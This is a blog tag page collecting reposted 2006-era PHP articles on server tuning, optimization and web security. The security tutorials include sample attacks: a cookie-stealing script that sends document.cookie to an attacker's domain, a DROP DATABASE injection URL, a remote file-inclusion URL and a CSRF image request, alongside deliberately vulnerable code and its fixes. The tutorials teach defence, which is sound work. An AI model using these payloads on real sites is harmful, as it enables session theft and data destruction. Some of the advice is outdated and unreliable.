Skip navigation.

JL空间

contact to me: liuping.james#gmail.com (use @ replace #)

Posts tagged with "php"

How to write PHP MVC Framework

, ,

Learning process:

1: u should know what isMVC

2: How to write MVC
Model
View
Controller

3: Don't write MVC Framework when u don't know it and don't need it.

4: MVC Framework isn't Project's EveryThing. It is just Framework and it is every Framework only fit for something, not all.

FreeBSD6,PHP connect ms sql server 2000

, ,

i think it is the simplest way to fix it.

first install php5 and php5-extensions

Install with php5-extensions, u must check mssql(default it is uncheck).

Notice install process, u will it will install freetds(google it).

Install ok...you should do

cp /usr/local/etc/freebsd.conf.dist /usr/local/etc/freebsd.conf
chmod +r /usr/local/etc/freebsd.conf
ee freebsd.conf
delete # with [MyServer2k] and its sub item. host changed to sql server's ip.

php code like:

mssql_connect('MyServer2k', $dbuser, $dbpass);

mssql function u find it in php handbook.

and u should add line to MyServer2k,,it will help me to solve chinese word show.

client charset = utf-8.


improving php performance on apache

, ,

article from: http://www.whenpenguinsattack.com/2006/01/24/improving-php-performance-on-apache/

Apache is available on both Unix and Windows. It is the most popular web server in the world. Apache 1.3 uses a pre-forking model for web serving. When Apache starts up, it creates multiple child processes that handle HTTP requests. The initial parent process acts like a guardian angel, making sure that all the child processes are working properly and coordinating everything. As more HTTP requests come in, more child processes are spawned to process them. As the HTTP requests slow down, the parent will kill the idle child processes, freeing up resources for other processes. The beauty of this scheme is that it makes Apache extremely robust. Even if a child process crashes, the parent and the other child processes are insulated from the crashing child.
The pre-forking model is not as fast as some other possible designs, but to me that it is “much ado about nothing” on a server serving PHP scripts because other bottlenecks will kick in long before Apache performance issues become significant. The robustness and reliability of Apache is more important.

Apache 2.0 offers operation in multi-threaded mode. My benchmarks indicate there is little performance advantage in this mode. Also be warned that many PHP extensions are not compatible (e.g. GD and IMAP). Tested with Apache 2.0.47.
Apache is configured using the httpd.conf file. The following parameters are particularly important in configuring child processes:

MaxClients : default: 256
The maximum number of child processes to create. The default means that up to 256 HTTP requests can be handled concurrently. Any further connection requests are queued.

StartServers: default: 5
The number of child processes to create on startup.

MinSpareServers: default:5
The number of idle child processes that should be created. If the number of idle child processes falls to less than this number, 1 child is created initially, then 2 after another second, then 4 after another second, and so forth till 32 children are created per second.

MaxSpareServers: default:10
If more than this number of child processes are alive, then these extra processes will be terminated.

MaxRequestsPerChild: default: 0
Sets the number of HTTP requests a child can handle before terminating. Setting to 0 means never terminate. Set this to a value to between 100 to 10000 if you suspect memory leaks are occurring, or to free under-utilized resources

For large sites, values close to the following might be better:

MinSpareServers 32
MaxSpareServers 64

Apache on Windows behaves differently. Instead of using child processes, Apache uses threads. The above parameters are not used. Instead we have one parameter: ThreadsPerChild which defaults to 50. This parameter sets the number of threads that can be spawned by Apache. As there is only one child process in the Windows version, the default setting of 50 means only 50 concurrent HTTP requests can be handled. For web servers experiencing higher traffic, increase this value to between 256 to 1024.

Other useful performance parameters you can change include:

SendBufferSize: Set to OS default
Determines the size of the output buffer (in bytes) used in TCP/IP connections. This is primarily useful for congested or slow networks when packets need to be buffered; you then set this parameter close to the size of the largest file normally downloaded. One TCP/IP buffer will be created per client connection.

KeepAlive [onoff] default:On
In the original HTTP specification, every HTTP request had to establish a separate connection to the server. To reduce the overhead of frequent connects, the keep-alive header was developed. Keep-alives tells the server to reuse the same socket connection for multiple HTTP requests.

If a separate dedicated web server serves all images, you can disable this option. This technique can substantially improve resource utilization.

KeepAliveTimeout:default:15
The number of seconds to keep the socket connection alive. This time includes the generation of content by the server and acknowledgements by the client. If the client does not respond in time, it must make a new connection.

This value should be kept low as the socket will be idle for extended periods otherwise.

MaxKeepAliveRequests: default:100
Socket connections will be terminated when the number of requests set by MaxKeepAliveRequests is reached. Keep this to a high value below MaxClients or ThreadsPerChild.

TimeOut: default:300
Disconnect when idle time exceeds this value. You can set this value lower if your clients have low latencies.

LimitRequestBody: default:0
Maximum size of a PUT or POST. O means there is no limit.

If you do not require DNS lookups and you are not using the htaccess file to configure Apache settings for individual directories you can set:

# disable DNS lookups: PHP scripts only get the IP address
HostnameLookups off

# disable htaccess checks

<Directory />

AllowOverride none

</Directory>

If you are not worried about the directory security when accessing symbolic links, turn on FollowSymLinks and turn off SymLinksIfOwnerMatch to prevent additional lstat() system calls from being made:

Options FollowSymLinks

#Options SymLinksIfOwnerMatch

[zz] improving php execution speed in windows with php.ini

,

article from: http://www.whenpenguinsattack.com/2006/02/02/improving-php-execution-speed-in-windows-with-phpini/

adding the following two lines to php.ini can make your php scripts run run faster and also save you in bandwidth.

zlib.output_compression = On
zlib.output_compression_level = level

level can be from 1-9. This is a tradeoff between speed and size. The higer compression levels create files that are smaller in size (which will save you in bandwidth), but they take more processing time to de-compress/compress. Most web-browsers support this standard. It is best to choose different numbers to find out which one will work best for your server.

[zz]Tuning IIS for PHP

,

article from: http://www.whenpenguinsattack.com/2006/07/04/tuning-iis-for-php/

IIS is a multi-threaded web server available on Windows NT and 2000. From the Internet Services Manager, it is possible to tune the following parameters:

Performance Tuning based on the number of hits per day: Determines how much memory to preallocate for IIS. (Performance Tab).

Bandwidth throttling: Controls the bandwidth per second allocated per web site. (Performance Tab).

Process throttling: Controls the CPU% available per Web site. (Performance Tab).

Timeout: Default is 900 seconds. Set to a lower value on a Local Area Network. (Web Site Tab).

HTTP Compression: In IIS 6, you can compress dynamic pages, html and images. Can be configured to cache compressed static html and images. By default compression is off.

HTTP compression has to be enabled for the entire physical server. To turn it on open the IIS console, right-click on the server (not any of the subsites, but the server in the left-hand pane), and get Properties. Click on the Service tab, and select “Compress application files” to compress dynamic content, and “Compress static files” to compress static content.

You can also configure the default isolation level of your web site. In the Home Directory tab under Application Protection, you can define your level of isolation. A highly isolated web site will run slower because it is running as a separate process from IIS, while running web site in the IIS process is the fastest but will bring down the server if there are serious bugs in the web site code. Currently I recommend running PHP web sites using CGI, or using ISAPI with Application Protection set to high.

You can also use regedit.exe to modify following IIS 5 registry settings stored at the following location:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Inetinfo\Parameters
MemCacheSize: Sets the amount of memory that IIS will use for its file cache. By default IIS will use 50% of available memory. Increase if IIS is the only application on the server. Value is in megabytes.

MaxCachedFileSize: Determines the maximum size of a file cached in the file cache in bytes. Default is 262,144 (256K).

ObjectCacheTTL: Sets the length of time (in milliseconds) that objects in the cache are held in memory. Default is 30,000 milliseconds (30 seconds).

MaxPoolThreads: Sets the number of pool threads to create per processor. Determines how many CGI applications can run concurrently. Default is 4. Increase this value if you are using PHP in CGI mode.

ListenBackLog: Specifies the maximum number of active Keep Alive connections that IIS maintains in the connection queue. Default is 15, and should be increased to the number of concurrent connections you want to support. Maximum is 250.

If the settings are missing from this registry location, the defaults are being used.

High Performance on Windows: IIS and FastCGI

After much testing, I find that the best PHP performance on Windows is offered by using IIS with FastCGI. CGI is a protocol for calling external programs from a web server. It is not very fast because CGI programs are terminated after every page request. FastCGI modifies this protocol for high performance, by making the CGI program persist after a page request, and reusing the same CGI program when a new page request comes in.

As the installation of FastCGI with IIS is complicated, you should use the EasyWindows PHP Installer. This will install PHP, FastCGI and Turck MMCache for the best performance possible. This installer can also install PHP for Apache 1.3/2.0.

[zz] he PHP coder's top 10 mistakes and problems

,

Article from: http://www.sourcerally.net/regin/8-The-PHP-coder%27s-top-10-mistakes-and-problems

1. Not escaping entities

It's basic knowledge; ALL untrusted input (especially user input from forms) has to be sanitized before it is being output.

echo $_GET['username'];

Can for instance output:
<script>/*snooping cookie or changing admin password script*/</script>

It is an apparent security risk not to sanitize untrusted data before output. Besides you might end up with pages looking very messy if you do not thread user input the right way.

How to fix it:
Basically you need to convert < , >, ' and " to their proper entities (< , > &#039; , and ") . The functions htmlspecialchars and htmlentities() do the work.

So here is the right way:
echo htmlspecialchars($_GET['username'], ENT_QUOTES);

Uncountable scripts carries this problem.

2. Not Escaping SQL input
When querying your database all ways make sure untrusted data gets escaped else your application will be vulnerable to SQL-injections and unreliable, some coders think that they have covered their asses by having magic_quotes on in their php.ini. The problem is that untrusted input can come from other sources than $_GET, $_POST and $_COOKIE (crawling other websites or using input from the database). And what happens if magic_quotes suddenly is set to OFF?

How to fix it:
I recommend setting magic_quotes to off in php.ini or by using .htaccess and then using mysql_real_escape_string() on all variables used in SQL-expressions.

<?php
$sql = "UPDATE users SET
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>

In PHP5 combined with mysql5 you can also use bindings.

If you leave magic_quotes On you will just have to trust your instinct.

3. Wrong use of HTTP-header related functions: header(), session_start(), setcookie()
Have you ever encountered this warning? "warning: Cannot add header information - headers already sent [....]

Most likely you have either during development or when deploying PHP applications. When your browser downloads a web page the data response from the server is structured in two different parts: The header part and the content part.

The header consist of not visible data such as cookies to be set or if the browser should redirect to another location. The header always comes first.

The content part consists of the visible content HTML, image data and so on.

If output_buffering is set to Off in php.ini your. When the script outputs during execution all header related functions (setcookie(), header(), session_start()) must be called before any output. The problem is when somebody develops on one platform configuration and deploys to another platform configuration, then redirects stops working, cookies and sessions are not being stored...

How to fix it:
The right way is actually very simple make your script call all header related functions before you start any output and set output_buffering = Off in php.ini (at your development platform). If this is a problem on existing scripts you can all ways hack about with the output control functions.

4. Requiring and including files using untrusted data
Again and again do not trust data you do not declare implicitly: Including and requiring files from but not limited to $_GET, $_POST and $_COOKIE is a stupid and mortal path, you want to control which exacts code your server executes.

Example:
index.php
<?
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>

Any hacker can now request following URL: http://www.yourdomain.com/index.php?filename=anyfile.txt

By doing so the hacker can extract confidential information and execute PHP scripts stored on the server. Now if allow_url_fopen is set to On in your PHP.ini you will be doomed:

Try this one out:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

Then your script include and parse any code which the web page on http://www.youaredoomed.com/phphack.php outputs. Doing so he can for instance send spam mails, change passwords, delete files.... I have a very limited imagination.

How to fix it:
You have to control which files the script is allowed to include and which it is not allowed to include.

Note: This is only a quick fix:
<?
//Include only files that are allowed.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit('not allowed');
}
?>


5. Syntax errors
This covers all the parse and syntax errors YOU make during development, these are probably uncountable, right? Usually it is a bracket, semi-colon, quotation mark or parenthesis that is missing or placed wrong it is a time eater and that is why I have put it on the list. There is only one way to fight it: Become aware of which syntax errors you make and find ways to avoid repeating them! Of course a good text editor will help you a lot here please, do not use notepad.

6. No or little use of Object Orientation
Too many systems I have seen and been working with have this problem. They simply do not have any object orientation. Yes object and classes for a beginner are abstract but if for instance you build a shop system and you are not being object orientated, then the source code will become unmaintainable with time and size. PHP has been supporting basic object orientation since PHP4 and since PHP5 a lot more and a lot better, so get your ass on to using it.

7. Not using a framework
95% of all development with PHP is about developing the same four things: Create, edit, list and delete. To do all this in pure PHP without using a PHP MVC Framework of some kind (let it be home made or open source) is just plain stupid and a waste of YOUR time (of course there are exceptions and you can have good explanation on why you don't use a framework).

I talk out of experience and there is so much PHP out there but so little use of frameworks. Get your fingers dirty now.

8. Not knowing about existing functionality
One of the strong things about PHP is that there's so much functionality available in the PHP core but also in the pure PHP extensions. However time again and again scripts people are inventing the deep plate. I am guilty in doing this, but it is waste of time where you should be saving your time. Even when PHP functionality is out of question you can in a lot of situations save yourself time by using exec() to execute from shell.

Save yourself time searching the manual on www.php.net and Google, keep yourself updated on new features in future releases and by ask the right people when needed.

9. Using old PHP versions

This problem primarily relates to people developing on PHP4 to put it short you are developing on a deprecating platform and not using the full potential of your knowledge move on, there's a lot of good stuff and functionality in PHP5. And it is really not a big deal to change to PHP5 most applications only need a few moderations or no moderations to cope with the change.

Secondary there is the security risk of running on old and unpatched software it might end up damaging your applications.

According to Damien Seguy (founder of the French PHP portal http://www.nexen.net) 12% of all PHP servers where running PHP5 by the start of November 2006.

Read the article here (French).

So if you are developing PHP you are most likely (88%) still doing it on PHP4, shame on you!

10. Double escaping quotes

Have you ever seen a web page display a text with \' or \" , it usually happens when a script is made for magic_quotes of (php.ini) and is deployed on a site with magic_quotes on. First PHP runs addslashes() on all GET, POST and COOKIE data then afterwards one more time when the data is being stored.

Original text:
It's a string

After magic quotes on script start:
It\'s a string

On query storage:
It\\'s a string

HTML output:
It\'s a string

Another scenario that makes this occur is when a user tries to sign up and inputs invalid data, the user then get presented to the same form, this time with the input escaped, the second time the user posts with the valid data the input is escaped another time.

This stuff still happens way too much however mostly new and inexperienced people encounter this.

Note: This list has been created based on my 5 years of PHP development, working with ad hoc solutions, open source and tailored projects. Besides helping fellow coders on the Internet.

[zz]Basic PHP Script Security

,

article from:http://templora.com/content/14

Basic PHP Script Security
Thumbnail

by Void | in PHP | posted December 06, 2006

Default starDefault starDefault starDefault starDefault star (0 votes) | 1763 views

Basic PHP script security covers issues like prevention of SQL injections, XSS and CSRF attacks, variable tampering, etc.

Add to del.icio.us | Digg! Digg this | Dot This
You must login in order to rate this.
The Security of PHP scripts has become a major issue lately. The very power and flexibility of PHP scripting architecture has become its major vulnerability, if certain simple steps are not taken to protect the script. The simple ability to take data from a webpage is also a potential gateway for a variety of attacks that aim to steal information from databases, or to corrupt that data. Not only server-side data is at risk, but attacks are possible that may harm all the visitors of the site by simple injection of malicious code.

For the purpose of this tutorial we have listed some commonly known attacks, and how to protect against them. This is crucial for beginners in PHP because PHP tutorials and basic documentation does not accentuate this problem enough. Examples are given that are vulnerable to attacks, and students are either not aware of the vulnerabilities, or are not adequately educated how to protect their scripts.

In addition, the types of attacks presented here are not limited only to PHP, since they exploit standard HTTP request/response protocol which is available to any server-side scripting language.


SQL Injection

SQL injection is a security threat that appears wherever a PHP script is presenting data from a database, taking as input some identification of the content that needs to be presented, for instance with content management systems, or even simple scripts that return simple data. As long as input identification is inserted into SQL for data retrieval, the threat exists!

Let's look at a simple example. Let's say that you have a script that presents web pages according to user selection which is passed through URL variable 'page=':

index.php?page=links

This script then takes page identifier in variable 'page' and puts it into SQL query to fetch the page with that identifier:

PHP:

<?php
$page= $_GET['page'];
$res= mysql_query("SELECT FROM table_with_pages WHERE page_id='{$page}' LIMIT 1");
?>



The above is very common example of content retrieval. And a very vulnerable one. All it takes for the attacker is to bypass your single quotes and insert some malicious code. And all the attacker needs is to pass one simple string through the URL:

index.php?page=%27%3B%20DROP%20DATABASE%20--

The above is valid URL request, and server will parse the encoded characters into '; DROP DATABASE which effectively closes the single quotes of your original query, ends it with a semicolon and inserts new directive that drops your entire database and comments out everything else you may have in your SQL. And buh-bye database! Gone. Deleted.

Of course, this is a blatant example that does not need to work, especially if user-level the script is using does not allow dropping entire database. But, it can do a variety of other things, like selecting usernames or passwords, or inserting passwords where ID=1 which is usually the admin's user id, etc... Or it can bypass WHERE clauses with simple 'OR WHERE 1=1' and avoid password checks for example, or any other data retrieving filter you may have had, especially because data passed through URLs for content retrieval is usually a filter in a WHERE clause.

Naturally, it is difficult for the attacker to know the structure of your tables and fields if he/she did not see the code. With some guessing and luck he or she may be able to extract the structure, especially if your scripts visibly report errors (which is another security threat we'll deal with later). But what about open-source projects where code is available for everyone? Incidentally, open-source projects are frequent targets of attackers that seek loopholes in thousands of lines of code managed by many people who can easily omit a hole or two.

The most simple way to protect against such SQL injections is to escape sensitive characters like single or double quotes. It is best to use database-native functions for that, and in the case of our example, and MySQL, the proper handling would be:

PHP:

<?php
$page= mysql_real_escape_string ($_GET['page']);
$res= mysql_query("SELECT FROM table_with_pages WHERE page_id='{$page}' LIMIT 1");
?>



One much better way to protect against SQL injections is to use numeric identifiers wherever possible, so instead of index.php?page=links use ?page=1 and cast all data from this variable into integer:

PHP:

<?php
$page= (int) $_GET['page'];
$res= mysql_query("SELECT FROM table_with_pages WHERE page_id={$page} LIMIT 1");
?>



Another way is to filter the variable for allowed characters. For simple identifiers, allowed characters are usually alphanumeric (a-z0-9), which can be a case with simple page retrieval. Filter with preg_match:

PHP:

<?php
$matches= array();
preg_match ('/^([a-z0-9])$/i', $page, $matches);
//Find page identifier in $matches[1]
?>



And of course, keep your code to yourself if at all possible. So, to recapitulate, to protect against SQL-injections, very useful methods are:

* Using integers as data identifiers wherever possible
* Escaping all string inputs that may contain sensitive characters
* Filtering input identifiers for allowed characters
* Keeping the code to yourself



As a final note, since we used $_GET variable for example, same threat exists for POST-ed data. Since http request headers are text based, over TCP/IP type connection, it is very easy for the attacker to write a program (in C for example) that opens a connection to your script and sends malicious requests through POST'ed data.


XSS Attacks

XSS, or Cross Site Scripting Attacks, are attacks aimed at identity theft and stealing passwords from the users of a website (and sometimes more). XSS attacks do not threat directly the database like SQL injections do, but threat all users, especially admins that have high privileges in operating a website.

A Cross Site Scripting attack consists of inserting usually Javascript code, into any content that will be presented to the users, like in Blogs, Forums, Comments, etc... By inserting such malicious Javascript code, they can effectively "hijack" user's browser with Javascript and perform attack, usually without user's knowledge.

Most often, XSS attacks steal data from cookies. A valid browser, and a properly set cookie, will send a cookie only to the domain from where it was set. Combine this with the fact that cookies are used to pass user authentication data, sometimes even passwords, and especially session data since. Therefore Javascript is used to fetch local cookies aimed at the domain in question, and to send them to a third party domain - the attacker's domain - where the attacker can read its contents.

For example, an XSS attack can insert the following code inside a forum post, or blog comment post. It will not be visible to users (unless they look at the page source):

Code:


<script>
document.location = 'http://attackers.domain.com/somescript.php?cookies=' + document.cookie;
</script>



Now, let's see what happens here. The script routes your browser to the attacker's domain, and in the URL request passes local cookie data to a remote script on the attacker's server. The script receives the cookie data, and the attacker can view its contents.

Of course, the above example is visible, since your browser is suddenly directed to a third-party website. However, a clever attacker can wrap the URL request inside tag, and remote (attacker's) server will return a valid image, but will also receive the cookie data in the image request:

Code:


<script>
document.getElementById('some_div').innerHTML= '';
</script>



And there you go, the user's cookie data is sent to the attacker. Now, if the user is admin, and cookies contained session data, and/or passwords or usernames, a great deal of damage can be done if the attacker gets hold of admin's password.

In order to protect your site against XSS attacks, you need to filter all input. Wherever there is some string data that will be presented back to users (usernames, forum posts, blog posts, comments, etc...) you need to filter that data. The most simple filtering against XSS is to encode all HTML entities, where < becomes <, > becomes > and browsers will not parse any tags inside them as valid HTML tags that would enable Javascript. PHP has one very useful little function for that, namely the htmlentities().

More complex filtering involves solving for character encoding hacks, pre-escaped characters that with additional escaping revert to HTML tags, writing routines that seek out malicious script combinations, etc...

In addition to input filtering, make sure your cookies do not carry any sensitive data, like passwords or usernames.

As a test, to check out if your filtering is moderately sufficient, try to insert something like this:

Code:


<script>
alert("This is XSS!");
</script>




CSRF Attacks

Cross Site Request Forgery Attacks are similar to XSS in that the attacker posts malicious code to a forum, blog comment, or any other interactive part of the website that will return that content (and code) to users.

Unlike XSS, however, CSRF does not need Javascript. Plain HTML or even BBCode is sufficient, so this makes CSRF the sneakiest of attacks that need careful handling.

Let's start with one simple example. Let's say that your website has a script called delete.php that deletes some content in the database. It takes numeric ID as input to identify the content that needs deletion:

delete.php?id=123

Let's say that the attacker knows of this script. All the attacker needs to do is to insert an image request with SRC set to this script, in a forum post for example, even using BBCode:

[img]http://attackedsite.com/delete.php?id=123

Server would translate this to a valid HTML image tag. Anyone who visits the page where this code is presented, will have their browsers issue a call to the above script, and if the script is not protected, it will delete content with ID=123.

This may not sound as a big threat until you perhaps imagine what would happen if the admin visits the page with malicious code. No Javascript, no illegal characters, a simple image request. The admin is probably logged-in, and has proper authentication so even if the delete.php script solves for authentication (only admins can delete with it), the admin is the one who's browser issued the call, so damage is done!

Fortunately, though, there are ways to prevent CSRF attacks to certain extent:

First and foremost, this works only with GET requests, since there is no other sneaky way to issue a hidden call without an image (and without a script, which is solved with XSS protection), except maybe framed pages and/or iframes which are harder to insert into a forum (or blog) post that usually disables such tags. Therefore, move all your sensitive data inputting to POST, instead of GET. This may make your simple administration scripts a bit complex, since in order to POST data you need a form, whereas with GET you can put a simple link somewhere.

And, of course, have all your potentially damaging scripts require a second confirmation. So, even if a CSRF attack happens, you will need to confirm the (damaging) request.

One other additional protection is to compare timestamps. Have the forms with which you issue calls to potentially damaging scripts carry a timestamp, and inside the (damaging) script compare the timestamp from the form with current timestamp. If the difference is greater than, say, 10 seconds, do not perform the potentially damaging action. There is a logic behind this. When you access the page where you need to click to delete some content, you have 10 seconds to click it, after which the script will reject deleting (reload to reset timestamps, of course). So, when you reach a page with CSRF attack against you, if you visited that page more than 10 seconds ago, the attack will not work.

Note that this protection is not perfect. In some complex AJAX application that takes data via URL (GET), does something to it, and passes it to a server script via POST, it is possible to pipe a CSRF attack, if the attacker knows your software arhitecture - as is the case with open-source software.


PHP variable insertion

This is a security threat that is mostly patched nowadays, but from time to time I come across servers without the patch so I guess it should be mentioned.

Back in the old days of PHP before PHP 4, it was common to pass data to PHP scripts directly as registered global variables. For example:

script.php?somevar=blahblah&anothervar=123

If your PHP server settings allow registered globals, variables somevar and anothervar will become global PHP variables $somevar (containing string "blahblah") and $anothervar (containing integer 123).

Sounds fun, since you don't need to use cumbersome $_GET['somevar'] and $_GET['anothervar'] (try to fast-type these too and you'll know what I'm talking about). But also it poses a security threat. Not by itself, of course, but by bad script design that misses to initialize variables before use, for example. If the attacker somehow finds out your variable names in your scripts (open-source, anyone?) and finds that you are using a variable without initializing it first, all he or she needs to do is to pass some value to that variable via URL as in the example above.

What does using "uninitialized" variables mean? It means you are using contents of a variable which you didn't use or set before:

PHP:

<?php if ($a=1) $somevar="thisorthat";
$res= mysql_query("INSERT INTO sometable (somefield) VALUES ('{$somevar}')");
?>



A beginner PHP programmer will assume that $somevar is NULL, if $a is not 1, so SQL will be valid. But a hacker will see the opportunity!

So, the most simple way to protect your scripts from such registered globals, is to turn the register_globals directive OFF. Most PHP servers nowadays have this by default, but always check your PHP.ini (where the directive is) to make sure.

If you don't have access to PHP.ini, write an empty script with one simple call to phpinfo(); That will print out server settings and you can see if register_globals is on or off.

If you can't modify your PHP.ini, you can set this directive through .htaccess, if the server settings allow you to:

php_flag register_globals off

Or, call your server administrator and demand this directive in your PHP.ini.

Speaking of phpinfo(), and as we have mentioned earlier, it is wise to set your PHP server to suppress any output of errors, except to a log file. Because, error reporting can reveal sensitive information about your webiste: script location in the server and database table structure, if SQL error is being reported. PHP4 and above, by default, does not report MySQL SQL errors, so admins write their own code to report SQL errors. Be careful where you report such errors. You don't want everyone to know your tables structure.


Input validation

Last but not least, one additional step in protecting your scripts and content is input validation. Validate ALL data that your scripts receive. See if all POST vars are in place, since attackers may try to send partial POST requests to try and crash your site, and respond properly. Initialize ALL your variables (regardless of register_globals directive) before you use them, to a default value. Check for allowed characters in string variables, and allowed ranges in integer variables, especially if these are used as identifiers in the database.

In addition, do another such validation via Javascript. Valid users will have Javascript check for errors, and hackers will try to avoid Javascript and send data directly. In this case, when your scripts recognize such errors, do not report, simply silently route to your main index.php. This will leave hackers in darkness, they will not know if their attempt did anything wrong, they will not have access to the logic in your code.

You can also track IPs of attempted SQL injections, and automatically ban users who attempted an attack. This works effectively with double protection, where Javascript ensures legitimate users to pass valid data, and all invalid data therefore belongs to hackers, so you can cut them off automatically and effectively.

Note that with this last you introduce a drawback to your website. Hackers can exploit automatic banning and do a series of attacks from major provider IP addresses, effectively shutting down your site to legitimate users who access your site from same provider IPs. So, be careful how and when you ban your users.


Final Notes

In this tutorial we have covered some common PHP script security threats. You are advised to seek out more information on the subject since hackers are becoming smarter and smarter every day, devising new ways to hack into your system. Also, the solutions presented in this tutorial are not all that there is, but are most common ways of patching. There are surely better and more clever ways to protect your scripts.

At any rate, if you're beginner in PHP, make sure you incorporate protections presented here in your coding so that it becomes automatic. So automatic that you never, ever insert value from a variable into SQL without escaping sensitive chars or typecasting to int, for example, since SQL injections are always attempted first, when attacking a server.

[zz]php optimization myths

,

Article from: http://www.whenpenguinsattack.com/2006/07/05/php-optimization-myths/

php optimization myths
July 05th, 2006 | Category: php

Some optimizations are useful. Others are a waste of time.

Here are some common PHP myths:

a. echo is faster than print
Echo is supposed to be faster because it doesn’t return a value while print does. From my benchmarks with PHP 4.3, the difference is neglible. And under some situations, print is faster than echo (when ob_start is enabled).
b. strip off comments to speed up code
If you use an opcode cache, comments are already ignored. This is a myth from PHP3 days, when each line of PHP was interpreted in run-time.
c. ‘var=’.$var is faster than “var=$var”
This used to be true in PHP 4.2 and earlier. This was fixed in PHP 4.3. Note (22 June 2004): apparently the 4.3 fix reduced the overhead, but not completely. However I find the performance difference to be negligible.
Do References Speed Your Code?
References do not provide any performance benefits for strings, integers and other basic data types. For example, consider the following code:

function TestRef(&$a)
{
$b = $a;
$c = $a;
}
$one = 1;

ProcessArrayRef($one);
And the same code without references:
function TestNoRef($a)
{
$b = $a;
$c = $a;
}
$one = 1;

ProcessArrayNoRef($one);

PHP does not actually create duplicate variables when “pass by value” is used, but uses high
speed reference counting internally. So in TestRef(), $b and $c take longer to set because the references have to be tracked, while in TestNoRef(), $b and $c just point to the original value of $a, and the reference counter is incremented. So TestNoRef() will execute faster than TestRef().
In contrast, functions that accept array and object parameters have a performance advantage when references are used. This is because arrays and objects do not use reference counting, so multiple copies of an array or object are created if “pass by value” is used. So the following code:

function ObjRef(&$o)
{
$a =$o->name;
}
is faster than:
$function ObjRef($o)
{
$a = $o->name;
}

Note: In PHP 5, all objects are passed by reference automatically, without the need of an explicit & in the parameter list. PHP 5 object performance should be significantly faster.

Writing good php docs

,

Article From: http://www.whenpenguinsattack.com/2006/10/20/writing-good-php-docs/

Writing good php docs
October 20th, 2006 | Category: php

By Justin Silverton

Documentation is a very important part of development. It will not only allow you to come back to an application or piece of code in the future with ease, but also help future coders (in the open source community or at your job, etc) that may be utilizing your source code.

A great tool that can be used for this is called phpDocumentor (or phpdoc) available here.

Features

* output in HTML, PDF (directly), CHM (with windows help compiler), XML DocBook
* web and command-line interface
* fully customizable output with Smarty-based templates
* recognizes JavaDoc-style documentation with special tags customized for PHP 4
* generates a todo list from @todo tags in source

Installation

There are two different ways to install this. The first is to download the source directly and install it manually (found here). The second is to install it through the pear library. This can be done using the following command: “pear install PhpDocumentor”

To install phpDocumentor to use the web interface, you must first change one of PEAR’s configuration variables, data_dir, to be a sub-directory of your web server’s document root. The simplest way to do this is through PEAR’s command-line interface with the command: pear config-set data_dir /path/to/document_root/pear

Configuring this value through the web interface is also simple. Click on the configuration icon in the left-hand frame, and type in the path in the data_dir text box.

Usage

It’s fairly easy to start documenting your code. There are sample projects included that show some common usage (sample1.php, sample2.php, and sample3.php).

If you are using the command-line interface, run this command from the tutorials/sample directory:

phpdoc -o HTML:frames:earthli -f sample1.php -t docs (replace sample1.php with the file you want to process)

The rest of the available options can be found using: phpdoc -h

Full Docs can be found here

[zz]Top 5 PHP Security Mistakes

,

article from: http://www.whenpenguinsattack.com/2006/07/06/top-5-php-security-mistakes/

Top 5 PHP Security Mistakes
July 06th, 2006 | Category: php security

Unvalidated Input Errors

One of — if not the — most common PHP security flaws is the unvalidated input error. User-provided data simply cannot be trusted. You should assume every one of your Web application users is malicious, since it’s certain that some of them will be. Unvalidated or improperly validated input is the root cause of many of the exploits we’ll discuss later in this article.
As an example, you might write the following code to allow a user to view a calendar that displays a specified month by calling the UNIX cal command.

$month = $_GET[month];
$year = $_GET[year];

exec(”cal $month $year”, $result);

The proper way to correct this is to ensure that the input you receive from the user is what you expect it to be. Do not use JavaScript validation for this; such validation methods are easily worked around by an exploiter who creates their own form or disables javascript. You need to add PHP code to ensure that the month and year inputs are digits and only digits, as shown below.

$month = $_GET[month];
$year = $_GET[year];

if (!preg_match(”/^[0-9]{1,2}$/”, $month))
die(”Bad month, please re-enter.”);
if (!preg_match(”/^[0-9]{4}$/”, $year))
die(”Bad year, please re-enter.”);
exec(”cal $month $year”, $result);

Access Control Flaws

Another type of flaw that’s not necessarily restricted to PHP applications, but is important nonetheless, is the access control type of vulnerability. This flaw rears its head when you have certain sections of your application that must be restricted to certain users, such as an administration page that allows configuration settings to be changed, or displays sensitive information.

You should check the user’s credentials upon every load of a restricted page of your PHP application. If you check the user’s credentials on the index page only, a malicious user could directly enter a URL to a “deeper” page, which would bypass this credential checking process.

It’s also advisable to layer your security, for example, by restricting user access on the basis of the user’s IP address as well as their user name, if possible. Placing your restricted pages in a separate directory that’s protected by an apache .htaccess file is also good practice.

Place configuration files outside your Web-accessible directory. A configuration file can contain database passwords and other information that could be used by malicious users to penetrate or deface your site; never allow these files to be accessed by remote users. Use the PHP include function to include these files from a directory that’s not Web-accessible, possibly including an .htaccess file containing “deny from any”. Though this is redundant, layering security is a positive thing.

For my PHP applications, I prefer a directory structure based on the sample below. All function libraries, classes and configuration files are stored in the includes directory. Always name these include files with a .php extension, so that even if all your protection is bypassed, the Web server will parse the PHP code, and will not display it to the user. The www and admin directories are the only directories whose files can be accessed directly by a URL; the admin directory is protected by an .htaccess file that allows users entry only if they know a user name and password that’s stored in the .htpasswd file in the root directory of the site.
/home /httpd /www.example.com .htpasswd /includes cart.class.php config.php /logs access_log error_log /www index.php /admin .htaccess index.php
You should set your Apache directory indexes to ‘index.php’, and keep an index.php file in every directory. Set it to redirect to your main page if the directory should not be browsable, such as an images directory or similar.

Never, ever, make a backup of a php file in your Web-exposed directory by adding .bak or another extension to the filename. If you do this, the PHP code in the file will not be parsed by the Web server, and may be output as source to a user who stumbles upon a URL to the backup file. If that file contained passwords or other sensitive information, that information would be readable — it could even end up being indexed by Google if the spider stumbled upon it! Renaming files to have a .bak.php extension is safer than tacking a .bak onto the .php extension, but the best solution is to use a source code version control system like CVS. CVS can be complicated to learn, but the time you spend will pay off in many ways. The system saves every version of each file in your project, which can be invaluable when changes are made that cause problems later.

Session ID Protection

